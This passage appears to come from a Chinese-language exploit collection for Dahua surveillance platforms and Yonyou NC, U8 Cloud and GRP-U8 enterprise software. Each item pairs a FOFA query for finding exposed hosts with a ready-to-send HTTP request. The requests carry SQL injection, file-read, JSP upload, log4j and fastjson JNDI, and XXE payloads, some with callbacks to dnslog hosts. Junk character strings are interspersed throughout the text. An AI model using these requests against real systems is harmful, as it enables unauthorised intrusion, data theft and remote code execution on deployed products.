, L% M! g0 b( K/ P/ ?0 R

+ ~, k8 C. x8 {+ ~! B17. 大华 DSS itcBulletin SQL 注入
; `; [6 }  y( t' R# |FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
; _1 J; Z2 D4 _3 y* C- b3 Z8 G) VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ ?( g& Q+ j7 I2 ?  MContent-Length: 345
Accept-Encoding: gzip
; y, R/ d8 z& N0 A$ C4 U8 e
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
0 Y6 _8 [/ Q) P5 z1 s      <netMarkings>
1 D% |  H7 `2 J7 W% s       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
/ _$ m6 {$ n0 e; [5 B      </netMarkings>
) L9 u! D8 q. r. u    </ns1:deleteBulletin>
  </s11:Body>
& S! X* p- c! k; y  f; ~</s11:Envelope>
& g4 {& O2 N( T) x- s# t
6 F  P8 {, L0 Q! e8 y$ X# U
7 Y. U8 _* T0 B& H+ m$ K/ N  }18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
% o/ G6 l. n; k4 pGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
( z# ]* N: N/ BHost: your-ip
$ }5 B% O  ^" B! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 J8 W2 b% g) C1 B2 ]1 {Accept-Encoding: gzip, deflate
Accept: */*
; ]5 ~) d/ E3 M+ IConnection: keep-alive


2 M! C$ R+ {+ y9 D
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ `: F( J8 H8 Y4 y5 c  pFOFA：app="dahua-DSS"
4 d" ?; J. `( J2 e' k3 s  rGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
, u* A, Z7 y, s) {) SAccept: */*
8 ?2 L4 h' u9 {Connection: keep-alive
3 w" F6 q9 v6 d( G) r" G

20. 大华ICC智能物联综合管理平台任意文件读取
4 a+ w/ c* o3 o: h) yFOFA：body="*客户端会小于800*"
6 j/ a/ m2 w' p( QGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


5 s' s% t, z' D: y21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
7 s( B7 h- M. r& G' _% c1 M1 ^POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
8 I: e* {1 m- h; d5 {( q5 |Host: x.x.x.x
( r8 i/ f! K# ~9 ]. rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
: r  F$ A  z3 M. T" U% k5 A3 zAccept-Encoding: gzip
Connection: close
4 T1 B6 x7 a# wContent-Type: application/json;charset=utf-8

. f; N3 U  {$ D{
"a":{
; d9 L8 _& Z' a( J& j* p   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }$ J6 A) M/ A- M. c) E  }""
}


- o; Y6 {* Q2 G& r7 V22. 大华ICC智能物联综合管理平台 log4j远程代码执行
' S8 J3 Y, E( d1 F; e- XFOFA：icon_hash="-1935899595"
, i- ?8 a+ s9 \3 |* [: R! WPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
+ i3 y# V1 Y' r* G5 @) VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 s( x  c2 x0 [- xContent-Type: application/json;charset=utf-8
9 m( ~* a, F0 Z, q# m3 d; W
{
"loginName":"${jndi:ldap://dnslog}"
# X, d8 R& d' }( {9 B7 ~. C' J- @9 L}
, ?% H, p+ j( p# t; v" m: Y

4 v. z& U) h: s; Y
6 B/ a/ r4 u9 E7 B23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
2 N% p$ j8 m: z) A  h: EFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
9 K7 Z+ s; B5 [5 p# ^Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; p9 }) a; x$ r5 }- G9 T6 qContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
! F' K- ]0 C3 `9 @; \8 M6 s  iConnection: close
8 W" E+ Q. w- i1 ~/ b) o* c. v. v
{
0 c0 ^4 {5 U5 ~/ b+ t    "a":{
9 K3 ^9 o- D; E! I6 D- j) M8 V7 V        "@type":"com.alibaba.fastjson.JSONObject",
& Z8 B! Z* R4 s2 h7 \) ~6 k       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
' Y# z/ C  X% v' @$ C2 y}


24. 用友NC 6.5 accept.jsp任意文件上传
: ^0 t, r' @1 [, C& \FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
% a7 C0 H. x) T& y- o6 mHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
9 f/ R8 T( X, v; FConnection: close
Content-Length: 449
& k' X7 {8 k3 s) A- RAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ h; l$ G$ {: l
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
; ?& o' ~9 J$ `
; C+ X& A( a5 N  Y; U<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
2 ~) t4 K; B7 ~% }( I8 w3 \$ L-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# E  ?; `* A1 vContent-Disposition: form-data; name="fname"
1 c8 l/ Y' V- x* p: O9 Q/ N& r! ~3 @
; Y! q% C* f) h) m: t\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


; T! q1 Z7 _# j* F' A25. 用友NC registerServlet JNDI 远程代码执行
$ _. N2 u0 D% Q/ VFOFA：app="用友-UFIDA-NC"
! ?1 B% k  @, h, S4 HPOST /portal/registerServlet HTTP/1.1
% e6 s, v# [$ ]; g9 R+ d# z; u) i* A  ZHost: your-ip
: V5 v* P# ?! h$ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
3 }' |& @7 P; w. Z# ]- W* e' c' k
- c9 X/ O0 Q; Ctype=1&dsname=ldap://dnslog
1 z$ j+ m2 K5 j( Z. @

' A+ \  }" y9 Z  u, P& R
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
/ a1 r8 U9 D1 t- k/ ?2 PGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 g4 j. @3 S' ?4 _8 W: hHost: your-ip
; x7 K4 t  X. f/ |5 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ @' ^1 r/ y5 O3 hContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
; K3 P+ F% z  R  E& o' d. SAccept: */*
Connection: keep-alive

2 |  K. G$ m2 j# L! w7 A
+ u. M2 m3 }6 C( e% ^, S27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
; \& R% Z. i# D) T, u. l2 lGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
( O) V2 H9 t% q6 p/ c$ N/ ?7 P5 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. z9 C( w! P4 d5 d- ?* t& d3 ~9 |Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
- q+ ?5 x8 k- y/ o( F7 B

28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
! g6 ^! e4 Z: r5 C9 d1 m! |* HConnection: close
Content-Length: 268
" z% x7 U% P4 |6 I( P, i' rContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
) O& x" p) V% ]( n# \$ B& KAccept-Encoding: gzip

) m+ [. l! G7 g2 E9 V/ ~------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
) K. _8 }3 @# G5 s  P- aContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
( b% ~5 M, C# c( ~8 V: B
  c$ N. G) A' Z; M( q  @  d<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
8 S" i/ c6 L# X6 j$ f: b8 Q2 W, h
7 b# N) J1 V, t8 f
' ?& p- u( A4 e/ Y; i/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 R4 l+ N/ Z! P1 _8 e3 A# oContent-Type: application/x-www-form-urlencoded
8 O5 ]9 \) R& k9 \  KAccept-Encoding: gzip, deflate
" Q4 p9 V6 [5 |9 A$ N4 ?Accept: */*
Connection: keep-alive
* x5 i4 V) V7 ^+ [  o* L- Q0 J$ d
  h0 ^% `% ?5 l: ^
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
7 N$ S& }- }) ?Host: your-ip
( y, U/ B. |( `, D3 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* X* \8 Y3 U( X" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
; J+ Z; M8 Z/ Z4 @( c5 w0 f2 @( ]; B
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
1 j2 v$ V" g: I------WebKitFormBoundaryH970hbttBhoCyj9V--
, F' S1 M0 q# M  Y. \
- p% @+ W- K, \5 s2 b( I1 ^* V; E
; H( @8 Y. b4 m  t& M31. 用友NC runStateServlet SQL注入
4 n7 B# a' _. }; O  G. hversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ G; |7 Q  W3 z# Z4 a# c3 x7 B/ FGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
8 @+ ?9 R4 a: i! Q7 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

) V- a3 [% V+ w& f1 g! r9 o. a
2 E) x- h- v# J. r7 B: g" M4 e1 m  `) {32. 用友NC complainbilldetail SQL注入
; L, q$ ]- H7 E* |version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 {/ f9 v3 k- n' w  L
) K: T1 \: E, M: j0 \, u
" N3 H7 \; H! q' L33. 用友NC downTax/download SQL注入
' Q: M8 V+ S9 ~4 ~8 hversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ y# B5 C* t( `( J' k) z8 c  g9 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# j8 K! i" O3 IAccept: */*
$ X2 }: b* Z( B- K& pConnection: keep-alive
( b) v6 {4 o' A, H* I) W6 P5 @& e
; x) ]: x/ D$ O7 h% t
' E. J, I4 ]" m, ]  j8 z34. 用友NC warningDetailInfo接口SQL注入
  z( t9 \+ C  T1 _0 \7 w, }FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 g# S5 ]! [7 M8 QHost: your-ip
8 F' D' L" Q: C3 B' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
# u7 E7 ~* s( uConnection: keep-alive
" q* w) @& K# z8 r. }9 [- y! q% I

35. 用友NC-Cloud importhttpscer任意文件上传
2 o# M" n# s7 f) {% ^FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
" ~5 y% d: A' ?User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. ?& R& M+ N& g3 J9 _7 ~Accept-Encoding: gzip, deflate
Accept: */*
8 ^1 u" J1 u5 q: gConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
* m) ?9 r8 e( w9 q8 F+ |Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
4 P9 k! z2 D& n; V- R1 f
<%out.println(1111*1111);%>
. k! `* f" T1 u--fd28cb44e829ed1c197ec3bc71748df0--

) K+ O6 l# B$ U$ r# b' L
9 s- b8 C( A/ }( ?- Q8 X/ R36. 用友NC-Cloud soapFormat XXE
+ M- Z& s9 b9 jFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
( {2 o# J# ^  ]3 [$ C6 FPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
% e6 X4 v1 p7 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
0 v- H: m7 r9 A* R% G8 BContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
+ r& d2 i8 v1 t% z7 c, RUpgrade-Insecure-Requests: 1
1 d1 M$ |" M5 R. Z. M' O+ ?  T
# k$ o+ @" J, y7 [msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

# d+ j- r4 R* G5 `
9 c/ u, G/ [" V) `7 v$ H37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
: M+ M/ Y+ ^! n# vPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
1 }; K7 {: S( R' Q  t" {- NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 y: Z2 D* Z: l3 B5 ^Accept-Encoding: gzip, deflate
+ m/ y3 n: @) [4 E4 O2 TAccept-Language: zh-CN,zh;q=0.9
! _" G) i0 H# ?. \% m6 J% HConnection: close
& q) j% ?! r$ C1 _Content-Type: text/xml;charset=UTF-8
) z/ y  Z0 n% E: XSOAPAction: urn:getResult
$ t* C- B) P" j+ }& h2 o7 x( ^4 oUpgrade-Insecure-Requests: 1

1 i. V& q8 X# B<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
% p3 D8 p, R" `" d# W  c# `! A1 O) Y<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
/ Y4 g7 u* p* N8 K<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  C9 E0 q8 I1 n3 [' i<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
: g: i6 ~2 E9 W$ H8 \</soapenv:Envelope>

1 q3 N. a5 K5 P5 K6 X. l- G
$ F2 E2 M- |, M
0 p) N. m/ V8 S. f+ H38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
% f9 s2 ]* o  }POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
6 R- V* \6 p, h$ @+ i" V- L  F0 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
, e: `$ J( p" {0 Y) o: eAccept-Encoding: gzip, deflate
2 ^# c9 K; i. j$ E1 rAccept-Language: zh-CN,zh;q=0.9
' J5 H; h3 k" M  y' qConnection: close
Content-Type: application/x-www-form-urlencoded
- j+ p! G) E9 n6 I* f) |
8 I8 F) O7 }. T" ^9 g: \0 P. c5 P) P__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
, `+ ~! x1 C3 ~FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
" Y/ O; k4 S5 I/ w6 @' x! AAccept: */*
4 r, G0 C; m8 o1 xAccept-Language: en
1 A6 q: `2 p+ M: {' NContent-Type: application/x-www-form-urlencoded
) }4 B$ B8 g+ Y# cX-Forwarded-For: 127.0.0.1
9 D5 v; G% x6 aAccept-Encoding: gzip

& g2 O; b; W, m& M  j8 a. A! f0 Xusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
; q- ], F' ?0 x+ X! d& z

40. 用友U8-Cloud XChangeServlet XXE
2 L  \4 _& O  X. _FOFA：app="用友-U8-Cloud"
4 t+ a$ O. s/ ZPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

# I1 `. D$ x6 @+ ^! l<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

' t5 M8 i4 m4 o' d
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# ]2 M/ m) s2 t& O$ m; P9 o. N7 wContent-Type: application/json
Accept-Encoding: gzip
Connection: close
! g- p  R% @: x; f$ E
  w3 V2 l$ w/ a$ [( s4 U
3 Q. c$ N6 x3 ~+ e) k" }4 ~42. 用友GRP-U8 SmartUpload01 文件上传
, I' d% k0 H6 |: t: w* [( uFOFA：app="用友-GRP-U8"
* |/ @, y' m1 q8 SPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
2 }8 n  O% j% `9 n' Y8 ^: D5 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
, L* A, I0 N* g* w5 z, f7 e' N

- _9 V2 ]& q5 |http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
7 H$ J" w  O2 d0 C3 p7 X& xPOST /services/userInfoWeb HTTP/1.1
4 N, P9 |% r9 }: C# `Host: your-ip
. b* f# K- V4 m" VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 E3 W- X  B/ U6 M) A2 n  R' L) TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  Z$ T# r- u7 u! T0 @" f+ qConnection: close
SOAPAction:
- l4 v' y  I, j  x( nContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
5 m/ Z' p9 x0 s/ d0 J' I; z( V   <soapenv:Header/>
# d) P" U! O8 Y5 e: c4 m. T   <soapenv:Body>
, h! U# k" ?: r) u4 H  a1 N      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
4 r# a! _9 T" P' }0 R# ]   </soapenv:Body>
0 d+ E0 z1 U5 _& o</soapenv:Envelope>


0 \/ @8 J; t$ b! H; d( S* x# y44. 用友GRP-U8 bx_dj_check.jsp SQL注入
( s" S( Z& R4 }% ?$ c( X( w7 E% \8 KFOFA:app="用友-GRP-U8"
% ?7 ?9 r% q) W8 v: FGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ s. m$ ?6 D# s% Y6 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
7 Q. Q5 d2 Q5 ]$ f. KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* Q5 V) \) X. U2 `Accept-Language: zh-CN,zh;q=0.9
Connection: close
: `; [4 i0 N2 n9 e; O- o

/ O/ L  q* b0 w8 s) U; s45. 用友GRP-U8 ufgovbank XXE
8 q* j' }( B% I9 R( ?, MFOFA：app="用友-GRP-U8"
* P. I9 W2 K6 Y/ ?POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
$ z- Q" i  L  t6 f9 }, K- LConnection: close
. H" v' S2 L) B2 Y8 [+ F) W( CContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 J* ?5 G  e* |9 {( e" pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
2 g& @3 ?/ ?) m0 v5 g' eAccept-Encoding: gzip
0 ~/ {9 s4 A& ?# U6 x
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
% i) a2 y1 e4 |
! b/ F$ b2 W1 I
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
% `* N9 a! {2 t7 j, kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; t8 F9 x5 [: [+ cAccept-Encoding: gzip, deflate
! x, Y% x/ Z, CAccept-Language: zh-CN,zh;q=0.9
# I" a, `6 A% S8 \' {Connection: close
5 @. i& W1 x! R7 H
; j2 l' f; S6 y/ F* m  Z
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
  v+ a$ q- {& W$ [7 NHost: x.x.x.x
Cache-Control: max-age=0
3 n5 K3 r6 n7 XUpgrade-Insecure-Requests: 1
& a4 l6 o* X' @7 W8 [4 U& YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% x0 e- @( e+ R( pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
